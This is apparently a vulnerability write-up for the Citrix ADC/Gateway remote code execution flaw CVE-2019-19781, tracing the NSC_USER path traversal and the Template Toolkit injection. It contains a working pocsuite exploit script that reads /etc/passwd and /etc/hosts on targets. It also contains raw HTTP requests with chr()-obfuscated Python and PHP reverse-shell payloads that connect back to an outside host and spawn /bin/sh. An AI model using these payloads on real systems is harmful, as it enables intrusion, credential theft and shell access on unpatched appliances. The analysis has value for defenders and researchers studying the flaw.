CVE-2019-19781: Citrix Application DC & Citrix Gateway RCE
Analysis
Two steps:
Use path traversal request
newbm.pl
to write to xml file (1sh HTTP request).Template toolkit load and parse the xml file(2nd Request).
Path Traversal
In the published payload, you can see that the problem is under the vpns
folder. We were able to find useful information
in the http.conf
file:
Alias /vpns/portal/scripts/ /netscaler/portal/scripts/
...
PerlSetEnv portalLoc /vpns/portal/
PerlSetEnv PortalRoot /netscaler/
PerlRequire /netscaler/portal/utils/startup.pl
PerlModule NetScaler::Portal::Handler
<Location /vpns/portal/>
SetHandler perl-script
PerlResponseHandler NetScaler::Portal::Handler
PerlSendHeader On
</Location>
In the payload you can find the http post request header:
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/12603aaf
We find NSC_USER
int the /netscaler/portal/modules/NetScaler/Portal/UserPrefs.pm
We can see that the username comes from the NSC_USER field in the http request and is spliced into the filename. So we can specify any file under vpns.This code is encapsulated in a csd function, and all code that calls this method will have problems.
my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.");
$self->{username} = $username;
...
$self->{session} = %session;
$self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml';
I found two points.
handler.pm:
$r->no_cache(1);
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
newbm.pl:
my $cgi = new CGI;
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
Further found that you can write files in newbm.pl.
my $doc = $user->csd();
#disallow get requests to make it difficult to launch XSRF attacks
if ($ENV{'REQUEST_METHOD'} ne 'POST') {
my $msg = "Access Denied";
print "Location: " . $ENV{portalLoc} . "error.html?$msg\n\n";
exit;
}
my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI_inuse = Encode::decode('utf8', $cgi->param('UI_inuse'));
...
$user->filewrite($doc);
The generated file is as follows.
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/2d13335a">
<bookmarks>
<bookmark UI_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]" title="2d13335a" url="http://example.com" />
</bookmarks>
<escbk>
</escbk>
<filesystems></filesystems>
<style></style>
</user>
Template Process the xml
Citrix uses Template Toolkit
to parse templates.The second request for /vpn/../vpns/portal/youfilename.xml
,
this operation will be handled by the Handler module.
my $tmplfile = $r->path_info();
$tmplfile =~ s[^/][];
my $template = Template->new({INCLUDE_PATH => NetScaler::Portal::Config::c->{template_dir},CACHE_SIZE => 64, COMPILE_DIR=> NetScaler::Portal::Config::c->{template_compile_dir}, COMPILE_EXT => '.ttc2'});
if ($tmplfile =~/.*\.css$/){
$r->send_http_header('text/css');
} else {
$r->send_http_header('text/html');
}
$template->process($tmplfile, $doc) || do {
my $error = $template->error();
my $lcError = lc($error);
if ( $error->type() eq "file" && $lcError =~ /^file error/ && $lcError =~ /.not found$/ ) {
return NOT_FOUND;
}
print NetScaler::Pcsd ortal::UserPrefs::html_escape_string($error), "\n";
};
Template Toolkit can eval perl without EVAL_PERL.
We use tpage
for testing.
Re-Appear
Install in VMware:
You need to configure the IpAddress GetWay & Mask. You can Login the virtual machine use ssh tool(nsrecover/nsroot).
PoC
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Time : 2020/1/10 10:28
# Author : William Jones
# File : poc2.py
# Email : [email protected]
# copyright: (c) 2020 by William Jones.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.
import urlparse
from pocsuite.api.poc import POCBase
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.request import req
from pocsuite.api.utils import randomStr
class TestPOC(POCBase):
vulID = 'CVE-2019-19781'
version = ''
author = ''
vulDate = '2020-01-10'
createDate = '2020-01-10'
updateDate = '2020-01-10'
references = [
"https://cert.360.cn/warning/detail?id=acd3738e106ab653ab2c27a93427eb67"
]
name = ''
appPowerLink = ''
appName = ''
appVersion = '''
'''
vulType = ''
desc = '''
'''
samples = [ ]
install_requires = ""
def _attack(self):
return self._verify()
def _verify(self):
result = {}
self.raw_url = self.url
host = urlparse.urlparse(self.url).hostname
port = urlparse.urlparse(self.url).port
scheme = urlparse.urlparse(self.url).scheme
if port is None:
port = "443"
else:
port = str(port)
if "https" == scheme:
self.url = "%s://%s" % (scheme, host)
else:
self.url = "%s://%s:%s" % (scheme, host, port)
command = 'cat /etc/passwd'
res = self.run_cmd(command=command)
if "root:*:0:0" in res:
result["VerifyInfo"] = {}
result["VerifyInfo"]["url"] = self.url
result["VerifyInfo"]["passwd"] = res
result["VerifyInfo"]["hosts"] = self.run_cmd("cat /etc/hosts")
return self.parse_output(result)
def run_cmd(self, command):
filename = randomStr(10)
return self.port_req(self.url, filename, command)
def port_req(self, url, filename, cmd):
newbm_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
headers = {
"Connection": "close",
"NSC_USER": "../../../netscaler/portal/templates/%s" % filename,
"NSC_NONCE": "nsroot"
}
payload = "url=http://example.com&title=" + filename + "&desc=[% template.new('BLOCK' = 'print `" + cmd + "`') %]"
try:
r = req.post(url=newbm_url, headers=headers, data=payload, verify=False, allow_redirects=False)
except Exception as e:
return None
if r.status_code == 200 and 'parent.window.ns_reload' in r.content:
return self.get_res(url, filename)
else:
return None
def get_res(self, url, filename):
xml_url = url + '/vpn/../vpns/portal/%s.xml' % filename
headers = {
"NSC_USER": "nsroot",
"NSC_NONCE": "nsroot"
}
res = None
try:
r = req.get(xml_url, headers=headers, verify=False)
except Exception as e:
return res
if r.status_code == 200:
res = r.content.split("u")[0]
return res
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
Get Shell
Use Python
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/shellcode
Content-Length: 2693
url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(47) . chr(118) . chr(97) . chr(114) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(32) . chr(45) . chr(99) . chr(32) . chr(39) . chr(105) . chr(109) . chr(112) . chr(111) . chr(114) . chr(116) . chr(32) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(44) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(44) . chr(111) . chr(115) . chr(59) . chr(115) . chr(61) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(40) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(65) . chr(70) . chr(95) . chr(73) . chr(78) . chr(69) . chr(84) . chr(44) . chr(10) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(83) . chr(79) . chr(67) . chr(75) . chr(95) . chr(83) . chr(84) . chr(82) . chr(69) . chr(65) . chr(77) . chr(41) . chr(59) . chr(115) . chr(46) . chr(99) . chr(111) . chr(110) . chr(110) . chr(101) . chr(99) . chr(116) . chr(40) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(41) . chr(59) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(48) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(49) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(10) . chr(50) . chr(41) . chr(59) . chr(112) . chr(61) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(46) . chr(99) . chr(97) . chr(108) . chr(108) . chr(40) . chr(91) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(34) . chr(44) . chr(34) . chr(45) . chr(105) . chr(34) . chr(93) . chr(41) . chr(59) . chr(39))'})%]
Use PHP
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/phpcode
Content-Length: 930
url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(112) . chr(104) . chr(112) . chr(32) . chr(45) . chr(114) . chr(32) . chr(39) . chr(36) . chr(115) . chr(111) . chr(99) . chr(107) . chr(61) . chr(102) . chr(115) . chr(111) . chr(99) . chr(107) . chr(111) . chr(112) . chr(101) . chr(110) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(32) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(59) . chr(101) . chr(120) . chr(101) . chr(99) . chr(40) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(32) . chr(45) . chr(105) . chr(32) . chr(60) . chr(38) . chr(51) . chr(32) . chr(62) . chr(38) . chr(51) . chr(32) . chr(50) . chr(62) . chr(38) . chr(51) . chr(34) . chr(41) . chr(59) . chr(39))'})%]
Reference
[1] http://www.template-toolkit.org/
[2] https://perl.apache.org/docs/2.0/user/handlers/http.html
[3] https://www.linkedin.com/pulse/cve-2019-19781-patrick-coble/?published=t
[4] https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781
[6] https://github.com/abw/Template2/blob/master/lib/Template/Service.pm
[7] https://docs.citrix.com/en-us/citrix-hardware-platforms/sdx/initial-configuration.html